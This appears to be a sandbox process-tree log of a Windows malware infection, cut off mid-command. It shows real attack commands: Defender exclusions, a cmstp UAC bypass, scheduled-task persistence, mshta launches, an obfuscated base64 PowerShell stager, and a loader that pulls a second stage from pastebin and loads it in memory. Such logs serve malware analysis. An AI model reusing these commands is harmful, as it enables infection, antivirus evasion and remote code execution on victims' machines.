C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe"C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c crypted.bat3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Loli.exeLoli.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Z55Fd3J11fVu.bat" "4⤵
-
C:\Windows\system32\chcp.comchcp 650015⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost5⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Local\Temp\a\Loli.exe"C:\Users\Admin\AppData\Local\Temp\a\Loli.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\9.exe9.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bfd43a6f3a1a4b748ef2d52e64a9d734_crypted_build.exebfd43a6f3a1a4b748ef2d52e64a9d734_crypted_build.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\493d0dfa7e0a46fe89bdfab48f9ce98f_crypted_build.exe493d0dfa7e0a46fe89bdfab48f9ce98f_crypted_build.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\miport.exemiport.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\pkd\dadaasads_new.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Temp54542\AppInstaller.exe"C:\Users\Admin\AppData\Local\Temp54542\AppInstaller.exe" "C:\Users\Admin\AppData\Local\Windows78339\FolderBP.exe"5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&16⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F7⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\cmstp.execmstp.exe /au "C:\Users\Admin\AppData\Local\Temp\cmstp.inf"6⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&16⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F7⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp54542\AppInstaller.exe"C:\Users\Admin\AppData\Local\Temp54542\AppInstaller.exe" "C:\Users\Admin\AppData\Local\npUpdater\core.exe"5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&16⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F7⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\cmstp.execmstp.exe /au "C:\Users\Admin\AppData\Local\Temp\cmstp.inf"6⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&16⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F7⤵
- Kills process with taskkill
-
-
-
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe POKEY.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\455a242b9aff43e7bedf7a55309ff8d0_crypted_build.exe455a242b9aff43e7bedf7a55309ff8d0_crypted_build.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMAGES____09494000000034004050066070707070.hta3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\dcc1897f1f3d4db59c631f87330304ce_crypted_build.exedcc1897f1f3d4db59c631f87330304ce_crypted_build.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c run.bat3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\MMM.exeMMM.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\JoLhhrFiG.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\JoLhhrFiG" /XML "C:\Users\Admin\AppData\Local\Temp\tmp54AE.tmp"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-built.exeClient-built.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\e79da345977745cda131abcb29a7c9c7_crypted_build.exee79da345977745cda131abcb29a7c9c7_crypted_build.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\rWvXzEJ.exerWvXzEJ.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener2.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBTçš„è¿™Hkçš„è¿™cwB0çš„è¿™GUçš„è¿™bQçš„è¿™uçš„è¿™E4çš„è¿™ZQB0çš„è¿™C4çš„è¿™UwBlçš„è¿™HIçš„è¿™dgBpçš„è¿™GMçš„è¿™ZQBQçš„è¿™G8çš„è¿™aQBuçš„è¿™HQçš„è¿™TQBhçš„è¿™G4çš„è¿™YQBnçš„è¿™GUçš„è¿™cgBdçš„è¿™Doçš„è¿™OgBTçš„è¿™GUçš„è¿™YwB1çš„è¿™HIçš„è¿™aQB0çš„è¿™Hkçš„è¿™Uçš„è¿™Byçš„è¿™G8çš„è¿™dçš„è¿™Bvçš„è¿™GMçš„è¿™bwBsçš„è¿™C的这的这PQçš„è¿™gçš„è¿™Fsçš„è¿™UwB5çš„è¿™HMçš„è¿™dçš„è¿™Blçš„è¿™G0çš„è¿™LgBOçš„è¿™GUçš„è¿™d的这的这uçš„è¿™FMçš„è¿™ZQBjçš„è¿™HUçš„è¿™cgBpçš„è¿™HQçš„è¿™eQBQçš„è¿™HIçš„è¿™bwB0çš„è¿™G8çš„è¿™YwBvçš„è¿™Gwçš„è¿™Vçš„è¿™B5çš„è¿™H的这的这ZQBdçš„è¿™Doçš„è¿™OgBUçš„è¿™Gwçš„è¿™cwçš„è¿™xçš„è¿™DIçš„è¿™Owçš„è¿™kçš„è¿™Hoçš„è¿™RgBLçš„è¿™GEçš„è¿™QQçš„è¿™gçš„è¿™D0çš„è¿™I的这的这nçš„è¿™Ggçš„è¿™dçš„è¿™B0çš„è¿™H的这的这cwçš„è¿™6çš„è¿™C8çš„è¿™LwBwçš„è¿™GEçš„è¿™cwB0çš„è¿™GUçš„è¿™YgBpçš„è¿™G4çš„è¿™LgBjçš„è¿™G8çš„è¿™bQçš„è¿™vçš„è¿™HIçš„è¿™YQB3çš„è¿™C8çš„è¿™agBnçš„è¿™Esçš„è¿™VwBMçš„è¿™GMçš„è¿™Mçš„è¿™BTçš„è¿™Ccçš„è¿™I的这的这7çš„è¿™CQçš„è¿™SQBlçš„è¿™H的这的这RwBRçš„è¿™C的这的这PQçš„è¿™gçš„è¿™Cgçš„è¿™Içš„è¿™Bbçš„è¿™FMçš„è¿™eQBzçš„è¿™HQçš„è¿™ZQBtçš„è¿™C4çš„è¿™SQBPçš„è¿™C4çš„è¿™Uçš„è¿™Bhçš„è¿™HQçš„è¿™açš„è¿™Bdçš„è¿™Doçš„è¿™OgBHçš„è¿™GUçš„è¿™dçš„è¿™BUçš„è¿™GUçš„è¿™bQBwçš„è¿™F的这的这YQB0çš„è¿™Ggçš„è¿™K的这的这pçš„è¿™C的这的这Kwçš„è¿™gçš„è¿™Ccçš„è¿™aQB0çš„è¿™HQçš„è¿™cçš„è¿™BBçš„è¿™C4çš„è¿™dçš„è¿™B4çš„è¿™HQçš„è¿™Jwçš„è¿™pçš„è¿™Dsçš„è¿™Jçš„è¿™B3çš„è¿™GUçš„è¿™YgBDçš„è¿™Gwçš„è¿™aQBlçš„è¿™G4çš„è¿™d的这的这gçš„è¿™D0çš„è¿™Içš„è¿™BOçš„è¿™GUçš„è¿™dwçš„è¿™tçš„è¿™E8çš„è¿™YgBqçš„è¿™GUçš„è¿™YwB0çš„è¿™C的这的这UwB5çš„è¿™HMçš„è¿™dçš„è¿™Blçš„è¿™G0çš„è¿™LgBOçš„è¿™GUçš„è¿™d的这的这uçš„è¿™Fcçš„è¿™ZQBiçš„è¿™EMçš„è¿™bçš„è¿™Bpçš„è¿™GUçš„è¿™bgB0çš„è¿™C的这的这Owçš„è¿™kçš„è¿™FIçš„è¿™VgBVçš„è¿™Fgçš„è¿™dgçš„è¿™gçš„è¿™D0çš„è¿™I的这的这kçš„è¿™Hcçš„è¿™ZQBiçš„è¿™EMçš„è¿™bçš„è¿™Bpçš„è¿™GUçš„è¿™bgB0çš„è¿™C4çš„è¿™Rçš„è¿™Bvçš„è¿™Hcçš„è¿™bgBsçš„è¿™G8çš„è¿™YQBkçš„è¿™FMçš„è¿™dçš„è¿™Byçš„è¿™Gkçš„è¿™bgBnçš„è¿™Cgçš„è¿™I的这的这kçš„è¿™Hoçš„è¿™RgBLçš„è¿™GEçš„è¿™QQçš„è¿™gçš„è¿™Ckçš„è¿™I的这的这7çš„è¿™CQçš„è¿™UgBWçš„è¿™FUçš„è¿™Wçš„è¿™B2çš„è¿™C的这的这f的这的这gçš„è¿™E8çš„è¿™dQB0çš„è¿™C0çš„è¿™RgBpçš„è¿™Gwçš„è¿™ZQçš„è¿™gçš„è¿™C0çš„è¿™RgBpçš„è¿™Gwçš„è¿™ZQBQçš„è¿™GEçš„è¿™dçš„è¿™Boçš„è¿™C的这的这Jçš„è¿™BJçš„è¿™GUçš„è¿™cçš„è¿™BHçš„è¿™FEçš„è¿™I的这的这tçš„è¿™EUçš„è¿™bgBjçš„è¿™G8çš„è¿™Zçš„è¿™Bpçš„è¿™G4çš„è¿™Zwçš„è¿™gçš„è¿™Ccçš„è¿™VQBUçš„è¿™EYçš„è¿™O的这的这nçš„è¿™C的这的这LQBmçš„è¿™G8çš„è¿™cgBjçš„è¿™GUçš„è¿™I的这的这7çš„è¿™CQçš„è¿™UwBUçš„è¿™GYçš„è¿™RwBsçš„è¿™C的这的这PQçš„è¿™gçš„è¿™Cgçš„è¿™Içš„è¿™Bbçš„è¿™FMçš„è¿™eQBzçš„è¿™HQçš„è¿™ZQBtçš„è¿™C4çš„è¿™SQBPçš„è¿™C4çš„è¿™Uçš„è¿™Bhçš„è¿™HQçš„è¿™açš„è¿™Bdçš„è¿™Doçš„è¿™OgBHçš„è¿™GUçš„è¿™dçš„è¿™BUçš„è¿™GUçš„è¿™bQBwçš„è¿™F的这的这YQB0çš„è¿™Ggçš„è¿™K的这的这pçš„è¿™C的这的这Kwçš„è¿™gçš„è¿™Ccçš„è¿™UgBUçš„è¿™Hgçš„è¿™dQB2çš„è¿™C4çš„è¿™dçš„è¿™B4çš„è¿™HQçš„è¿™Jwçš„è¿™pçš„è¿™C的这的这Owçš„è¿™kçš„è¿™F的这的这açš„è¿™Byçš„è¿™Gwçš„è¿™Tgçš„è¿™gçš„è¿™D0çš„è¿™Içš„è¿™BOçš„è¿™GUçš„è¿™dwçš„è¿™tçš„è¿™E8çš„è¿™YgBqçš„è¿™GUçš„è¿™YwB0çš„è¿™C的这的这UwB5çš„è¿™HMçš„è¿™dçš„è¿™Blçš„è¿™G0çš„è¿™LgBOçš„è¿™GUçš„è¿™d的这的这uçš„è¿™Fcçš„è¿™ZQBiçš„è¿™EMçš„è¿™bçš„è¿™Bpçš„è¿™GUçš„è¿™bgB0çš„è¿™C的这的这Owçš„è¿™kçš„è¿™F的这的这açš„è¿™Byçš„è¿™Gwçš„è¿™Tgçš„è¿™uçš„è¿™EUçš„è¿™bgBjçš„è¿™G8çš„è¿™Zçš„è¿™Bpçš„è¿™G4çš„è¿™Zwçš„è¿™gçš„è¿™D0çš„è¿™Içš„è¿™Bbçš„è¿™FMçš„è¿™eQBzçš„è¿™HQçš„è¿™ZQBtçš„è¿™C4çš„è¿™Vçš„è¿™Blçš„è¿™Hgçš„è¿™d的这的这uçš„è¿™EUçš„è¿™bgBjçš„è¿™G8çš„è¿™Zçš„è¿™Bpçš„è¿™G4çš„è¿™ZwBdçš„è¿™Doçš„è¿™OgBVçš„è¿™FQçš„è¿™Rgçš„è¿™4çš„è¿™C的这的这Owçš„è¿™kçš„è¿™EQçš„è¿™Sçš„è¿™B6çš„è¿™FUçš„è¿™QQçš„è¿™gçš„è¿™C的这的这PQçš„è¿™gçš„è¿™Cgçš„è¿™Içš„è¿™BHçš„è¿™GUçš„è¿™d的这的这tçš„è¿™EMçš„è¿™bwBuçš„è¿™HQçš„è¿™ZQBuçš„è¿™HQçš„è¿™I的这的这tçš„è¿™F的这的这YQB0çš„è¿™Ggçš„è¿™I的这的这kçš„è¿™Ekçš„è¿™ZQBwçš„è¿™Ecçš„è¿™UQçš„è¿™gçš„è¿™Ckçš„è¿™I的这的这7çš„è¿™CQçš„è¿™dQBUçš„è¿™Gwçš„è¿™Sçš„è¿™B6çš„è¿™C的这的这PQçš„è¿™gçš„è¿™CQçš„è¿™Uçš„è¿™Boçš„è¿™HIçš„è¿™bçš„è¿™BOçš„è¿™C4çš„è¿™Rçš„è¿™Bvçš„è¿™Hcçš„è¿™bgBsçš„è¿™G8çš„è¿™YQBkçš„è¿™FMçš„è¿™dçš„è¿™Byçš„è¿™Gkçš„è¿™bgBnçš„è¿™Cgçš„è¿™I的这的这kçš„è¿™EQçš„è¿™Sçš„è¿™B6çš„è¿™FUçš„è¿™QQçš„è¿™gçš„è¿™Ckçš„è¿™I的这的这7çš„è¿™CQçš„è¿™dQBUçš„è¿™Gwçš„è¿™Sçš„è¿™B6çš„è¿™C的这的这f的这的这gçš„è¿™E8çš„è¿™dQB0çš„è¿™C0çš„è¿™RgBpçš„è¿™Gwçš„è¿™ZQçš„è¿™gçš„è¿™C0çš„è¿™RgBpçš„è¿™Gwçš„è¿™ZQBQçš„è¿™GEçš„è¿™dçš„è¿™Boçš„è¿™C的这的这Jçš„è¿™BTçš„è¿™FQçš„è¿™ZgBHçš„è¿™Gwçš„è¿™I的这的这tçš„è¿™GYçš„è¿™bwByçš„è¿™GMçš„è¿™ZQçš„è¿™gçš„è¿™Dsçš„è¿™Jçš„è¿™Bnçš„è¿™EQçš„è¿™dwBGçš„è¿™HUçš„è¿™I的这的这9çš„è¿™C的这的这JwBMçš„è¿™G8çš„è¿™YQBkçš„è¿™Ccçš„è¿™Owçš„è¿™kçš„è¿™Fcçš„è¿™RgBuçš„è¿™Gwçš„è¿™Zwçš„è¿™gçš„è¿™D0çš„è¿™I的这的这nçš„è¿™Gkçš„è¿™bgB2çš„è¿™G8çš„è¿™awBlçš„è¿™Ccçš„è¿™Owçš„è¿™kçš„è¿™EYçš„è¿™bwBHçš„è¿™G0çš„è¿™Zwçš„è¿™gçš„è¿™D0çš„è¿™I的这的这kçš„è¿™G4çš„è¿™dQBsçš„è¿™Gwçš„è¿™Owçš„è¿™kçš„è¿™E0çš„è¿™TwBEçš„è¿™FIçš„è¿™Zwçš„è¿™gçš„è¿™D0çš„è¿™I的这的这gçš„è¿™Ccçš„è¿™Jçš„è¿™Btçš„è¿™E0çš„è¿™TwBqçš„è¿™FUçš„è¿™I的这的这9çš„è¿™C的这的这Jwçš„è¿™nçš„è¿™DQçš„è¿™YgBlçš„è¿™DMçš„è¿™MQçš„è¿™3çš„è¿™GMçš„è¿™Oçš„è¿™Biçš„è¿™GEçš„è¿™ZQBiçš„è¿™C0çš„è¿™M的这的这4çš„è¿™Dkçš„è¿™Ygçš„è¿™tçš„è¿™DUçš„è¿™NQBhçš„è¿™DQçš„è¿™LQçš„è¿™1çš„è¿™GIçš„è¿™Ygçš„è¿™yçš„è¿™C0çš„è¿™Oçš„è¿™Blçš„è¿™DQçš„è¿™O的这的这1çš„è¿™GYçš„è¿™Zgçš„è¿™yçš„è¿™D0çš„è¿™bgBlçš„è¿™Gsçš„è¿™bwB0çš„è¿™CYçš„è¿™YQBpçš„è¿™GQçš„è¿™ZQBtçš„è¿™D0çš„è¿™dçš„è¿™Bsçš„è¿™GEçš„è¿™PwB0çš„è¿™Hgçš„è¿™d的这的这uçš„è¿™GUçš„è¿™dçš„è¿™Bzçš„è¿™G8çš„è¿™cwBpçš„è¿™GIçš„è¿™YQBmçš„è¿™G0çš„è¿™ZQByçš„è¿™C8çš„è¿™bwçš„è¿™vçš„è¿™H的这的这cçš„è¿™Bhçš„è¿™C4çš„è¿™ZQBnçš„è¿™GEçš„è¿™cgBvçš„è¿™HQçš„è¿™cwBlçš„è¿™HMçš„è¿™YQBiçš„è¿™GUçš„è¿™cgBpçš„è¿™GYçš„è¿™Lgçš„è¿™3çš„è¿™D的这的这O的这的这3çš„è¿™Dkçš„è¿™LQBpçš„è¿™GIçš„è¿™YQBmçš„è¿™G8çš„è¿™cgBwçš„è¿™C8çš„è¿™Ygçš„è¿™vçš„è¿™D的这的这dgçš„è¿™vçš„è¿™G0çš„è¿™bwBjçš„è¿™C4çš„è¿™cwBpçš„è¿™H的这的这YQBlçš„è¿™Gwçš„è¿™ZwBvçš„è¿™G8çš„è¿™Zwçš„è¿™uçš„è¿™GUçš„è¿™ZwBhçš„è¿™HIçš„è¿™bwB0çš„è¿™HMçš„è¿™ZQBzçš„è¿™GEçš„è¿™YgBlçš„è¿™HIçš„è¿™aQBmçš„è¿™C8çš„è¿™Lwçš„è¿™6çš„è¿™Ccçš„è¿™Jwçš„è¿™gçš„è¿™Csçš„è¿™I的这的这nçš„è¿™Ccçš„è¿™cwBwçš„è¿™HQçš„è¿™dçš„è¿™Boçš„è¿™Ccçš„è¿™Jwçš„è¿™7çš„è¿™Dsçš„è¿™Jçš„è¿™B4çš„è¿™C的这的这PQçš„è¿™gçš„è¿™Cgçš„è¿™SgBvçš„è¿™Gkçš„è¿™bgçš„è¿™tçš„è¿™F的这的这YQB0çš„è¿™Ggçš„è¿™I的这的这kçš„è¿™GUçš„è¿™bgB2çš„è¿™Doçš„è¿™Vçš„è¿™BFçš„è¿™E0çš„è¿™U的这的这gçš„è¿™Ccçš„è¿™JwBSçš„è¿™FQçš„è¿™eçš„è¿™B1çš„è¿™HYçš„è¿™LgB0çš„è¿™Hgçš„è¿™d的这的这nçš„è¿™Ccçš„è¿™KQçš„è¿™7çš„è¿™CQçš„è¿™cgB5çš„è¿™GEçš„è¿™ZQBHçš„è¿™C的这的这PQçš„è¿™gçš„è¿™Cgçš„è¿™RwBlçš„è¿™HQçš„è¿™LQBDçš„è¿™G8çš„è¿™bgB0çš„è¿™GUçš„è¿™bgB0çš„è¿™C的这的这LQBQçš„è¿™GEçš„è¿™dçš„è¿™Boçš„è¿™C的这的这Jçš„è¿™B4çš„è¿™C的这的这LQBFçš„è¿™G4çš„è¿™YwBvçš„è¿™GQçš„è¿™aQBuçš„è¿™Gcçš„è¿™Içš„è¿™BVçš„è¿™FQçš„è¿™Rgçš„è¿™4çš„è¿™Ckçš„è¿™Owçš„è¿™kçš„è¿™HIçš„è¿™eQBhçš„è¿™GUçš„è¿™Rwçš„è¿™gçš„è¿™D0çš„è¿™I的这的这kçš„è¿™HIçš„è¿™eQBhçš„è¿™GUçš„è¿™Rwçš„è¿™uçš„è¿™HIçš„è¿™ZQBwçš„è¿™Gwçš„è¿™YQBjçš„è¿™GUçš„è¿™K的这的这nçš„è¿™Ccçš„è¿™J的这的这kçš„è¿™Ccçš„è¿™Jwçš„è¿™sçš„è¿™Ccçš„è¿™JwBBçš„è¿™Ccçš„è¿™Jwçš„è¿™pçš„è¿™Dsçš„è¿™Jwçš„è¿™gçš„è¿™Dsçš„è¿™Jçš„è¿™BNçš„è¿™E8çš„è¿™Rçš„è¿™BSçš„è¿™Gcçš„è¿™I的这的这rçš„è¿™D0çš„è¿™I的这的这nçš„è¿™Fsçš„è¿™QgB5çš„è¿™HQçš„è¿™ZQBbçš„è¿™F0çš„è¿™XQçš„è¿™gçš„è¿™CQçš„è¿™bwBUçš„è¿™EYçš„è¿™ZQBzçš„è¿™C的这的这PQçš„è¿™gçš„è¿™Fsçš„è¿™cwB5çš„è¿™HMçš„è¿™dçš„è¿™Blçš„è¿™G0çš„è¿™LgBDçš„è¿™G8çš„è¿™bgB2çš„è¿™GUçš„è¿™cgB0çš„è¿™F0çš„è¿™Ogçš„è¿™6çš„è¿™EYçš„è¿™cgBvçš„è¿™G0çš„è¿™QgBhçš„è¿™HMçš„è¿™ZQçš„è¿™2çš„è¿™DQçš„è¿™UwB0çš„è¿™HIçš„è¿™aQBuçš„è¿™Gcçš„è¿™K的这的这gçš„è¿™CQçš„è¿™cgB5çš„è¿™GEçš„è¿™ZQBHçš„è¿™C的这的这KQçš„è¿™gçš„è¿™Dsçš„è¿™Jwçš„è¿™gçš„è¿™Dsçš„è¿™Jçš„è¿™BNçš„è¿™E8çš„è¿™Rçš„è¿™BSçš„è¿™Gcçš„è¿™I的这的这rçš„è¿™D0çš„è¿™I的这的这nçš„è¿™Fsçš„è¿™UwB5çš„è¿™HMçš„è¿™dçš„è¿™Blçš„è¿™G0çš„è¿™LgBBçš„è¿™H的这的这cçš„è¿™BEçš„è¿™G8çš„è¿™bQBhçš„è¿™Gkçš„è¿™bgBdçš„è¿™Doçš„è¿™Jwçš„è¿™gçš„è¿™Csçš„è¿™I的这的这nçš„è¿™Doçš„è¿™QwB1çš„è¿™HIçš„è¿™cgBlçš„è¿™G4çš„è¿™dçš„è¿™BEçš„è¿™G8çš„è¿™bQBhçš„è¿™Gkçš„è¿™bgçš„è¿™uçš„è¿™Ccçš„è¿™I的这的这rçš„è¿™C的这的这Jçš„è¿™Bnçš„è¿™EQçš„è¿™dwBGçš„è¿™HUçš„è¿™I的这的这rçš„è¿™C的这的这Jwçš„è¿™oçš„è¿™C的这的这Jçš„è¿™Bvçš„è¿™FQçš„è¿™RgBlçš„è¿™HMçš„è¿™I的这的这pçš„è¿™C4çš„è¿™Jwçš„è¿™gçš„è¿™Dsçš„è¿™Jçš„è¿™BNçš„è¿™E8çš„è¿™Rçš„è¿™BSçš„è¿™Gcçš„è¿™I的这的这rçš„è¿™D0çš„è¿™I的这的这nçš„è¿™Ecçš„è¿™ZQB0çš„è¿™FQçš„è¿™eQBwçš„è¿™GUçš„è¿™K的这的这gçš„è¿™Ccçš„è¿™JwBDçš„è¿™Gwçš„è¿™YQBzçš„è¿™HMçš„è¿™Tçš„è¿™Bpçš„è¿™GIçš„è¿™cgBhçš„è¿™HIçš„è¿™eQçš„è¿™zçš„è¿™C4çš„è¿™QwBsçš„è¿™GEçš„è¿™cwBzçš„è¿™DEçš„è¿™Jwçš„è¿™nçš„è¿™C的这的这KQçš„è¿™uçš„è¿™Ecçš„è¿™ZQB0çš„è¿™E0çš„è¿™Jwçš„è¿™gçš„è¿™Dsçš„è¿™Jçš„è¿™BNçš„è¿™E8çš„è¿™Rçš„è¿™BSçš„è¿™Gcçš„è¿™I的这的这rçš„è¿™D0çš„è¿™I的这的这nçš„è¿™GUçš„è¿™dçš„è¿™Boçš„è¿™G8çš„è¿™Z的这的这oçš„è¿™C的这的这Jwçš„è¿™nçš„è¿™E0çš„è¿™cwBxçš„è¿™EIçš„è¿™SQBiçš„è¿™Fkçš„è¿™Jwçš„è¿™nçš„è¿™C的这的这KQçš„è¿™uçš„è¿™Ccçš„è¿™I的这的这rçš„è¿™C的这的这Jçš„è¿™BXçš„è¿™EYçš„è¿™bgBsçš„è¿™Gcçš„è¿™I的这的这rçš„è¿™C的这的这I的这的这nçš„è¿™Cgçš„è¿™I的这的这kçš„è¿™EYçš„è¿™bwBHçš„è¿™G0çš„è¿™Zwçš„è¿™gçš„è¿™Cwçš„è¿™Içš„è¿™Bbçš„è¿™G8çš„è¿™YgBqçš„è¿™GUçš„è¿™YwB0çš„è¿™Fsçš„è¿™XQBdçš„è¿™C的这的这K的这的这gçš„è¿™CQçš„è¿™bQBNçš„è¿™E8çš„è¿™agBVçš„è¿™C的这的这L的这的这gçš„è¿™Ccçš„è¿™Jwçš„è¿™lçš„è¿™GYçš„è¿™TwB5çš„è¿™FIçš„è¿™ZQçš„è¿™lçš„è¿™Ccçš„è¿™Jwçš„è¿™gçš„è¿™Cwçš„è¿™I的这的这nçš„è¿™Ccçš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™F8çš„è¿™XwBfçš„è¿™C0çš„è¿™LQçš„è¿™tçš„è¿™C0çš„è¿™LQçš„è¿™tçš„è¿™C0çš„è¿™Jwçš„è¿™nçš„è¿™Cwçš„è¿™I的这的这nçš„è¿™Ccçš„è¿™M的这的这nçš„è¿™Ccçš„è¿™L的这的这gçš„è¿™Ccçš„è¿™Jwçš„è¿™xçš„è¿™Ccçš„è¿™Jwçš„è¿™sçš„è¿™C的这的这Jwçš„è¿™nçš„è¿™FIçš„è¿™bwBkçš„è¿™GEçš„è¿™Jwçš„è¿™nçš„è¿™C的这的这I的这的这pçš„è¿™C的这的这KQçš„è¿™gçš„è¿™Dsçš„è¿™Jwçš„è¿™gçš„è¿™Dsçš„è¿™Jçš„è¿™BWçš„è¿™EIçš„è¿™VwBXçš„è¿™Hoçš„è¿™I的这的这9çš„è¿™C的这的这K的这的这gçš„è¿™Fsçš„è¿™UwB5çš„è¿™HMçš„è¿™dçš„è¿™Blçš„è¿™G0çš„è¿™LgBJçš„è¿™E8çš„è¿™LgBQçš„è¿™GEçš„è¿™dçš„è¿™Boçš„è¿™F0çš„è¿™Ogçš„è¿™6çš„è¿™Ecçš„è¿™ZQB0çš„è¿™FQçš„è¿™ZQBtçš„è¿™H的这的这Uçš„è¿™Bhçš„è¿™HQçš„è¿™a的这的这oçš„è¿™Ckçš„è¿™I的这的这rçš„è¿™C的这的这JwBuçš„è¿™EEçš„è¿™dgBFçš„è¿™FIçš„è¿™LgBwçš„è¿™HMçš„è¿™MQçš„è¿™nçš„è¿™C的这的这KQçš„è¿™gçš„è¿™Dsçš„è¿™Jçš„è¿™BNçš„è¿™E8çš„è¿™Rçš„è¿™BSçš„è¿™Gcçš„è¿™Içš„è¿™B8çš„è¿™C的这的这TwB1çš„è¿™HQçš„è¿™LQBGçš„è¿™Gkçš„è¿™bçš„è¿™Blçš„è¿™C的这的这LQBGçš„è¿™Gkçš„è¿™bçš„è¿™Blçš„è¿™F的这的这YQB0çš„è¿™Ggçš„è¿™I的这的这kçš„è¿™FYçš„è¿™QgBXçš„è¿™Fcçš„è¿™egçš„è¿™gçš„è¿™C的这的这LQBmçš„è¿™G8çš„è¿™cgBjçš„è¿™GUçš„è¿™I的这的这7çš„è¿™H的这的这bwB3çš„è¿™GUçš„è¿™cgBzçš„è¿™Ggçš„è¿™ZQBsçš„è¿™Gwçš„è¿™I的这的这tçš„è¿™EUçš„è¿™eçš„è¿™Blçš„è¿™GMçš„è¿™dQB0çš„è¿™Gkçš„è¿™bwBuçš„è¿™F的这的这bwBsçš„è¿™Gkçš„è¿™YwB5çš„è¿™C的这的这QgB5çš„è¿™H的这的这YQBzçš„è¿™HMçš„è¿™I的这的这tçš„è¿™EYçš„è¿™aQBsçš„è¿™GUçš„è¿™I的这的这kçš„è¿™FYçš„è¿™QgBXçš„è¿™Fcçš„è¿™egçš„è¿™gçš„è¿™Dsçš„è¿™';;$MgOrq = ($IuJUJJZz -replace 'çš„è¿™' , 'A');;$IgvVM = [system.Convert]::FromBase64String( $MgOrq );;$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString($IgvVM);;powershell $Yolopolhggobek;4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/jgKWLc0S' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'ittpA.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'RTxuv.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$gDwFu = 'Load';$WFnlg = 'invoke';$FoGmg = $null;$MODRg = '$mMOjU = 